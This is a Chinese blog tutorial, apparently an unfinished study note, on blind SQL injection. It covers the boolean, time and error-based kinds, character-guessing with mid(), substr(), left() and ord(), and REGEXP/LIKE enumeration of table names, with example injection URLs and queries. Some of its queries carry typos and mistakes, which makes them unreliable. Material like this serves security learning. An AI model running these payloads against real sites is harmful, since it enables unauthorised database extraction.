Background-2 盲注的讲解基础概述

一、盲注的基础概述

盲注的解释:
当我们进行sql注入尝试时,输出的数据不能显示到当前的页面。
需要尝试一些方法来判定是否属于盲注

盲注可分为三类

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的盲注

一.基于布尔的sql盲注—可以利用逻辑进行判断

在进行基于布尔盲注之前先学习一下关于:关于字符串的截取

1.sql注入截取字符串的常用函数

当sql注入不回显的情况下俗称盲注,需要对每个字符进行猜测,这时就需要用到截取字符串的函数

其中截取字符串三大神器如下:

mid(),substr(),left()

mid()函数

mid()函数截取字符串的一部分
一般格式如下:

mid(column_name,start[,length])
参数描述
column_name必须,提取字符的字段
start规定开始的位置,起始位置是1
length截取字符数的长度

举例:

str='123456'  mid(str,3,4)
结果是:3 4 5 6

sql例子:

mid(database(),1,1)>'a'查看数据库第一位
mid(database(),2,1)>'a'查看数据库第二位

mid((select table_name from information_schema.schemata.tables where table_schema=xxxxx limit 0,1),1,1)>'a'  此处的column_name字段为sql语句,因此可自行构造sql注入

substr()函数

substr()和substring()函数一样都是截取字符串
格式同mid()函数

substr(string,start,length)

例子

substr(database(),1,1)>'a'截取数据库第一位
substr(database(),2,1)>'a'截取数据库第二位


Left()函数

left()函数截取字符串从左部开始的字符个数
格式:

left(string,n)  //n为从左部开始截取的长度

例子

left(database(),1)>'a'查看数据库第一位
left(database(),2)>'a'查看数据库前两位


ORD()函数
返回第一个字符的ascill码,常搭配以上函数使用

ORD(mid(database(),1,1))>114//检测数据库的第一位是否大于114

ascill()函数
将某个字符转换成ascill码

ascill(substr((select table_name from information_schema.schemata where table_schema=0xxxx limit 0,1),1,1))=100--+

2.regexp()正则注入介绍

sql注入关于正则表达式攻击

在mysql库中的information_schema存储了所有的库名,表明和字段信息。

1.判断一个表名的第一个字符是否是a-z中的字符,已知数据库是blind_sql

注:正则表达式^[a-z]表示所查找的字符串在a-z范围内

 index.php?id=1 and 1=(select 1 from information_schemta.tables where table_schema="blind_sql"

AND table_name REGEXP "^[a-z]"   limit 0,1)

2. 判断第一个字符是否是a-n中的字符

REGEXP "^[a-n]"

3.确定该字符是n

REGEXP "^n"

4. 表达式的更换如下

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

说明表名为news,验证表名的正则表达式为REGEXP “^news$”,直接判断table_name=news就行。

正则表达式详解点击此链接http://www.cnblogs.com/lcamry/articles/5717442.html

select * from users where id=1 and 1=(select 1 from information_schema.tables
 where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables 
where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

此时的limit 0,1是对where table_schema = "security" limit 0,1生效的,然而table_shcema="security"已经起到了限制作用,limit有没有已经无多大作用。

mysql使用的正则表达式并不是标准的正则表达式,使用的是like关键词

deault?asp=1 AND 1=(select top 1 1 from information_schema.tables 
where table_schema="blind_sql  and  table_name like "^like[a-z]%")

注意:在该语句中 select top 1是一个组合语句

如果要查询其它的表名,不能像mysql直接用limit 0,1,只能使用

table_name not in(select top x from information_schema.tables)

意思:表名没有在前x行,表明在x+1行

例如 查询第二行的表名:

default?asp =1 AND 1=(select top 1 1 from information_schema.tables 
where table_schema="blind_sql " and table_name not in  (select top1 
from information_schema.tables) and table_name like "^[a-z]")

表达式的顺序:

‘n[a-z]%’ -> ‘ne[a-z]%’ -> ‘new[a-z]%’ -> ‘news[a-z]%’ -> TRUE

news[a-z]之后返回正确应该是%代表0-n个字符,_只代表一个字符
‘news%’ TRUE -> ‘news_’ FALSE

总结

明天继续总结了,写的太慢咯,加油!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值